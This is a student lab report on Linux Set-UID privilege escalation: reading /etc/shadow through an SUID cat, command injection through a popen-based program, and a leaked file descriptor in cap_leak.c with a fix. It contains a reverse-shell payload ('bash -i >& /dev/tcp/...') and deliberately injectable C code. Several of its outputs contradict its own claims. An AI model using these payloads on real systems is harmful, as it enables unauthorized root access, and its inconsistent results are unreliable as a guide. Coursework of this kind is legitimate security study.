Lab 2: Set-user-ID

Sai Sukheshwar Boganadula
sabg22@student.bth.se

Bala Subramanyam Pavan Kumar Kasturi
baka22@student.bth.se

Task 1: Copy the file /bin/cat to the home directory on the VM, change the file owner to root and try to read root-owned files. For example, you can try to read the file /etc/shadow.

Step1: Copy the file **/bin/cat** to your home directory

cp /bin/cat ~/

Step2: Change ownership

sudo chown root:james ~/cat

Step3: Try to read the file **/etc/shadow**

~/cat /etc/shadow

```
[james@main-server-1 ~]$ ls -l
total 36
-rwxr-xr-x. 1 root james 36520 Aug 23 18:10 cat
[james@main-server-1 ~]$ cat /etc/shadow
cat: /etc/shadow: Permission denied
```

Task 2: Make /bin/cat root-SUID and try to read root-owned files

Step1: Change the SUID (The SUID bit allows a program of its owner (here it is root) rather than the privileges of the user executing the program

sudo chmod u+s /bin/cat

Step2: Verify the SUID

ls -l /bin/cat

```
[james@main-server-1 ~]$ ls -l /bin/cat
-rwsr-xr-x. 1 root root 36520 Jan 29  2024 /bin/cat
```

The s in the permissions (rwsr-xr-x) indicates that the SUID bit is set. And allows users to executes a file with the permissions of the file's owner

Step3: Try to read the **/etc/shadow** without using sudo

/bin/cat /etc/shadow

```
james@main-server-1 ~]$ sudo chmod u+s /bin/cat
[james@main-server-1 ~]$ /bin/cat /etc/shadow
root:*: 19579:0:99999:7:::
daemon:*: 19579:0:99999:7:::
bin:*: 19579:0:99999:7:::
sys:*: 19579:0:99999:7::: sync:*:19579:0:99999:7:::
games:*: 19579:0:99999:7:::
man:*: 19579:0:99999:7:::
lp:*:19579:0:99999:7::: mail:*:19579:0:99999:7:::
news:*: 19579:0:99999:7::: uucp:*:19579:0:99999:7:::
proxy:*: 19579:0:99999:7:::
www-data:*: 19579:0:99999:7:::
backup:*: 19579:0:99999:7:::
List : * : 19579:0:99999:7 : : :
irc:*: 19579:0:99999:7:::
gnats:*: 19579:0:99999:7:::
nobody:*: 19579:0:99999:7:::
_apt:*: 19579:0:99999:7: ::
systemd-network:*: 19579:0:99999:7::: systemd-resolve:*: 19579:0:99999:7:::
messagebus:*: 19579:0:99999:7:::
systend-timesync:*: 19579:0:99999:7:::
pollinate:*:19579:0:99999:7:::
sshd:*: 19579:0:99999:7:::
syslog:*:19579:0:99999:7:::
```

We can see in the fig abv. that the root owned set-uid programs can actually access the root owned files.

Task 3: In this task, we study a vulnerability that exists when programs are executed via the system() function. This function is used to execute a command, but unlike execve(), which directly executes a command, system() actually executes "/bin/sh -c command", i.e., it executes /bin/sh, and asks the shell to execute the command. Write a C program that uses the system() function call to execute /bin/id, captures the output and prints it to the standard out (terminal). The program takes as input a user ID.

Step1: Sample C program

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>  // Ensure this header is included for strcspn
```

```
int main() {
   char user_id[16];
   char command[64];
   FILE *fp;

   // Get the user ID from input
   printf("Enter user ID: ");
   fgets(user_id, sizeof(user_id), stdin);

   // Remove newline character from user input
   user_id[strcspn(user_id, "\n")] = '\0';

   // Create the command to be executed
   snprintf(command, sizeof(command), "/bin/id -u %s", user_id);

   // Open a pipe to the command and directly print the output
   fp = popen(command, "r");
   if (fp == NULL) {
      perror("popen");
      return EXIT_FAILURE;
   }

   // Directly print the command output
   while (fgets(user_id, sizeof(user_id), fp) != NULL) {
      printf("%s", user_id);
   }

   // Close the pipe
   pclose(fp);

   return EXIT_SUCCESS;
}
```

Step2: Save and compile the code

Note: Ensure that gcc command is installed in you linux machine

```
gcc -o system_run system_run.c
```

Step3: Run the code

```
./system_run
```

Enter a user ID when prompted, and the program will display the output of the /bin/id command.

```
[root@main-server james]# ./system_run
Enter user ID: root
0
[root@main-server james]# ./system_run
Enter user ID: james
1001
```

Task 4: Make the executable from Task 3 SUID-root. Run it by passing a malicious string to it to make it start a shell. Use the id command to determine if this is a root shell.

Step1: Set SUID root on executable file and first make sure the executable is owned by root

sudo chown root:root system_run

sudo chmod u+s system_run

Step2: Verify the SUID

ls -l system_run

Step3: Run any malicious code

./system_run "$(echo 'bash -i >& /dev/tcp/127.0.0.1/1234 0>&1')"

```
[root@main-server james]# ./system_run "$(echo 'bash -i >& /dev/tcp/127.0.0.1/1234 0>&1')"
Enter user ID: root
0
[root@main-server james]# ./system_run "$(echo 'bash -i >& /dev/tcp/127.0.0.1/1234 0>&1')"
Enter user ID: james
1001
```

This command attempts to run a reverse shell payload.

Step4: Open a shell with Root privileges and run the below command

id

If you see uid=0(root), you have successfully obtained root privileges.

```
[root@main-server james]# sudo -i
[root@main-server ~]# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-
s0:c0.c1023
```

Task 5: Circumvent dash defense mechanism by soft-linking to /bin/zsh as shown below. Did you get a root shell now? sudo ln -sf /bin/zsh /bin/sh

Ans: No

```
[root@main-server ~]# sudo ln -sf /bin/zsh /bin/sh
[root@main-server ~]# ls -l /bin/sh
```

```
lrwxrwxrwx. 1 root root 8 Aug 23 18:30 /bin/sh -> /bin/zsh
[root@main-server ~]# sudo -i
-bash: /usr/libexec/grepconf.sh: /usr/bin/sh: bad interpreter: No such file or directory
-bash: /usr/libexec/grepconf.sh: /usr/bin/sh: bad interpreter: No such file or directory
-bash: /usr/libexec/grepconf.sh: /usr/bin/sh: bad interpreter: No such file or directory
```

Task 6: Write a C program that uses the execve() function call to execute /bin/id, captures the output and prints it to the standard out (terminal). The function execve() calls a system call to load a new command and execute it; this function never returns. No new process is created; instead, the calling process's text, data, bss, and stack are overwritten by that of the program loaded. Essentially, execve() runs the new program inside the calling process

Step1: write a program

```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>

#define BUFFER_SIZE 1024

int main() {
    int pipefd[2];
    pid_t pid;
    char buffer[BUFFER_SIZE];
    ssize_t bytesRead;

    // Create a pipe
    if (pipe(pipefd) == -1) {
        perror("pipe");
        exit(EXIT_FAILURE);
    }

    // Fork a child process
    pid = fork();
    if (pid == -1) {
        perror("fork");
        exit(EXIT_FAILURE);
    }

    if (pid == 0) { // Child process
        // Close the unused read end of the pipe
        close(pipefd[0]);

        // Redirect stdout to the write end of the pipe
        dup2(pipefd[1], STDOUT_FILENO);
```

```
        // Close the original write end of the pipe
        close(pipefd[1]);

        // Prepare the arguments for execve
        char *argv[] = {"/bin/id", NULL};
        char *envp[] = {NULL};

        // Execute the /bin/id command
        execve("/bin/id", argv, envp);

        // If execve fails
        perror("execve");
        exit(EXIT_FAILURE);
    } else { // Parent process
        // Close the unused write end of the pipe
        close(pipefd[1]);

        // Read the output from the read end of the pipe
        while ((bytesRead = read(pipefd[0], buffer, sizeof(buffer) - 1)) > 0) {
            buffer[bytesRead] = '\0';
            printf("%s", buffer);
        }

        // Close the read end of the pipe
        close(pipefd[0]);

        // Wait for the child process to finish
        wait(NULL);
    }

    return 0;
}
```

Step2: Save, Compile, and run it

```
gcc -o system_test system_test.c

chmod +x system_test

./system_test
```

```
[james@main-server-1 ~]$ ./system_test
uid=1001(james) gid=1002(james) groups=1002(james)
context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
```

Task 7: Make the program from Task 6 SUID-root. Verify that passing a malicious string as in Task 4 does not work anymore

Step1: Compile and change ownership, SUID

gcc -o system_test system_test.c

sudo chown root:root system_test

sudo chmod u+s system_test

ls -l system_test

Step2: Run the program with malicious code

./system_test "$(echo 'bash -i >& /dev/tcp/127.0.0.1/1234 0>&1')"

Step3: Verify the output

You should see the standard output of the command executed by system_test but not a shell.

```
[james@main-server-1 ~]$ ./system_test "$(echo 'bash -i >& /dev/tcp/127.0.0.1/1234 0>&1')"
uid=1001(james) gid=1002(james) groups=1002(james)
context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[james@main-server-1 ~]$
```

Task 8: Compile the cap_leak.c program shown below, but don't make it SUID-root just yet. The program leaks a file descriptor into the shell process it starts. This is a vulnerability that could be exploited to obtain illegitimate access to data.

```
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
int main(int argc, char* argv[])
{
 int fd;
 char *v[2];
 fd = open("/etc/zzz", O_RDWR | O_APPEND);
 if (fd == -1) {
 printf("Cannot open /etc/zzz\n");
 exit(0);
 }
 printf("fd is %d\n", fd);
 setuid(getuid());
 v[0] = "/bin/sh"; v[1] = NULL;
 execve(v[0], v, 0);
}
```

Create the file /etc/zzz using the command shown below.

sudo sh -c 'echo "Hello world" > /etc/zzz'

Verify if you can append text to the zzz file by redirecting data to the leaked file descriptor as shown below. You should replace 3 with the file descriptor shown by your program. What was the result?

$ echo "Cruel world" >& 3

I have created a file cap_leak.c and compiled, executed.

Step1: Compile the program

gcc -o cap_leak cap_leak.c

Step2: Create the file and try to append text to zzz

sudo sh -c 'echo "Hello world" > /etc/zzz'

```
[james@main-server-1 ~]$ sudo sh -c 'echo "Hello world" > /etc/zzz'
[sudo] password for james:
[james@main-server-1 ~]$ cat /etc/zzz
Hello world
[james@main-server-1 ~]$
```

```
[james@main-server-1 ~]$ echo "appending text" > /etc/zzz
bash: /etc/zzz: Permission denied
[james@main-server-1 ~]$ sudo echo "appending text" > /etc/zzz
bash: /etc/zzz: Permission denied
```

Step3: Run the program

./cap_leak

```
[james@main-server-1 ~]$ ./cap_leak
Cannot open /etc/zzz
```

Task 9: Make cap_leak SUID-root. Verify if it possible to append text to the zzz file by redirecting to the leaked file descriptor. What was the result?

Step1: Make the cap_leak prpgram SUID

sudo chown root:root cap_leak

sudo chmod u+s cap_leak

Step2: Run the cap_leak program

./cap_leak

Step3: Append text to /etc/zzz

echo "Cruel world" >&3

However, since cap_leak spawns a shell with the leaked file descriptor, you should be able to run this directly within the spawned shell.

Step5: Verify the content

Text is appended. This means SUID bit allowed the cap_leak program to leak a file descriptor to a shell running with root privileges.

Task 10: Fix the cap_leak program so that privileged capabilities are released before privileged access is dropped. Verify if it still possible to access data as before. What was the fix

Spte1: Updated code

```
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>

int main(int argc, char* argv[]) {
   int fd;
   char *v[2];

   // Open the file and get the file descriptor
   fd = open("/etc/zzz", O_RDWR | O_APPEND);
   if (fd == -1) {
      perror("Cannot open /etc/zzz");
      exit(EXIT_FAILURE);
   }
   printf("fd is %d\n", fd);

   // Close the file descriptor before dropping privileges
   close(fd);

   // Drop root privileges
   if (setuid(getuid()) == -1) {
      perror("setuid");
      exit(EXIT_FAILURE);
   }

   // Execute /bin/sh with dropped privileges
   v[0] = "/bin/sh";
   v[1] = NULL;
   execve(v[0], v, NULL);

   // If execve fails
   perror("execve");
```

```
    return EXIT_FAILURE;
}
```

Step2: Save, Compile and Run. SUID privileges

gcc -o cap_leak cap_leak.c

sudo chown root:root cap_leak

sudo chmod u+s cap_leak

./cap_leak

```
[root@main-server uday]# ./cap_leak
fd is 3
sh-5.1#
```

Output:

```
sh-5.1# echo "Cruel world" >&3
sh: 3: Bad file descriptor
sh-5.1#
```

The fix we applied worked as intended!

Explanation: In this version, the file descriptor is explicitly closed using close(fd) before dropping privileges with setuid(getuid()). This is a more secure approach because it ensures that the file descriptor is no longer open with root privileges when the program drops to a lower privilege level. Additionally, this program includes error handling for both setuid() and execve() to provide more informative error messages if something goes wrong.

Task 11: Restore the default shell in your VM as shown below.

: In Order to restore the default shell we will be using the below command.

sudo ln -sf /bin/dash/bin/sh

```
dv2620@swsec:~/DV2620/Lab02-Set-User-ID$ sudo ln -sf /bin/dash /bin/sh
dv2620@swsec:~/DV2620/Lab02-Set-User-ID$ echo $SHELL
/bin/bash
dv2620@swsec:~/DV2620/Lab02-Set-User-ID$
```

The printed SHELL env variable. Tells that the shell is now restored to the default one. It's clearly visible from. The picture attached right above the current shell is /bin/bash.